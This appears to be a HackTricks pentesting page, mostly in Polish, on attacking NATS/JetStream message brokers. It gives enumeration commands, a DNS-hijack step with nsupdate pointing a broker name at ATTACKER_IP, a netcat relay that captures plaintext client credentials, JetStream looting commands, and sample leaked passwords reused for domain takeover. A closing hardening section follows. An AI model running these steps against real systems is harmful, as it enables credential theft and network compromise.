4222 - Pentesting NATS / JetStream
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Basic Information
NATS to wysokowydajna magistrala komunikatów, która używa prostego tekstowego protokołu: serwer transmituje baner JSON INFO { ... } natychmiast po połączeniu TCP, a klient odpowiada ramką CONNECT {"user":"USERNAME","pass":"PASSWORD",...} po której następują opcjonalne polecenia PING/PUB/SUB. JetStream dodaje prymitywy trwałości (Streams & Consumers) na tym samym porcie TCP (4222/tcp). TLS i uwierzytelnianie są opcjonalne, więc wiele wewnętrznych wdrożeń działa z plaintext AUTH.
- Default port: 4222/tcp (4223+ for clustered routes)
- Stock banner fields:
"version","auth_required","jetstream","max_payload","tls_required"
Enumeration
Banner grabbing / service probes
nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open nats NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
Ramka INFO może być również pobrana ręcznie:
echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'
Zainstaluj oficjalne CLI (Go ≥1.21) dla głębszej interakcji:
go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt
Niepowodzenia uwierzytelniania natychmiast wywołują nats: Authorization Violation, więc prawidłowe creds są wymagane do jakiegokolwiek sensownego RPC.
Przechwytywanie poświadczeń przez DNS/podszywanie się pod usługę
- Zidentyfikuj przestarzałe wpisy AD DNS dla nazwy hosta brokera (np.
nats-svc.domain.local). Jeśli rekord zwracaNXDOMAIN, użytkownik domeny o niskich uprawnieniach może go odtworzyć dzięki domyślnym dynamic-update ACLs. Zobacz AD DNS Records abuse dla kontekstu. - Zarejestruj nazwę hosta na kontrolowanym przez atakującego IP:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
- Sklonuj prawidłowy banner raz, a następnie odtwórz go dla każdego łączącego się klienta. NATS ufa pierwszej linii
INFO, którą zobaczy, więc wystarczy przepuścić ją przez listener:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
- As soon as an internal client resolves the hijacked name, it will emit a plaintext
CONNECTframe containing theuser/passpair and various telemetry (client name, Go version, protocol level). Because nothing past the INFO banner is required, evenncis enough to harvest secrets. - Dla dłuższych angażów uruchom oficjalny serwer lokalnie (
git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). Logi TRACE już pokazują nazwy użytkowników; usunięcie redaction helper lub podsłuchanie ruchu przy użyciu Wireshark ujawnia pełne hasło.
JetStream looting & password hunting
Gdy odzyskasz jakieś poświadczenie (np. Dev_Account_A), zapisz je jako kontekst CLI, aby nie przepisywać go ponownie:
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
Odkrywanie JetStream zwykle przebiega według tego schematu:
nats account info --context mirage # quotas, stream count, expiration
nats stream list --context mirage # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage
Zespoły streamingowe często logują zdarzenia uwierzytelniania do tematów takich jak logs.auth. Jeśli deweloperzy zapisują surowy JSON w strumieniu JetStream, payloady mogą zawierać plaintext AD usernames and passwords:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
Przechowywane sekrety można następnie odtworzyć wobec usług obsługujących wyłącznie Kerberos za pomocą netexec smb DC01 -u USER -p PASS -k, co umożliwia pełne przejęcie domeny.
Wzmocnienie i wykrywanie
- Wymuś TLS (
tls,tls_required, or mTLS viankey/creds). Bez szyfrowania INFO/CONNECT leaks credentials każdemu znajdującemu się on-path. - Określ, kto może aktualizować DNS – deleguj rekordy serwisowe do dedykowanych kont i audytuj Event IDs 257/252 dla nazw hostów wysokiej wartości. Połącz to z scavenging alerts, aby brakujące nazwy brokerów nie mogły być cicho ponownie przejęte.
- Wyłącz credential logging. Oczyść secrets przed publikacją do subjects, ustaw limity retencji/wieku JetStream i stosuj
deny_delete=falsetylko dla zaufanych operatorów. - Monitoruj anomalie banerów – powtarzające się krótkotrwałe połączenia, przekroczenia czasu uwierzytelniania, lub INFO banners, które nie pasują do zatwierdzonego szablonu, sugerują podszyte serwery.
References
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

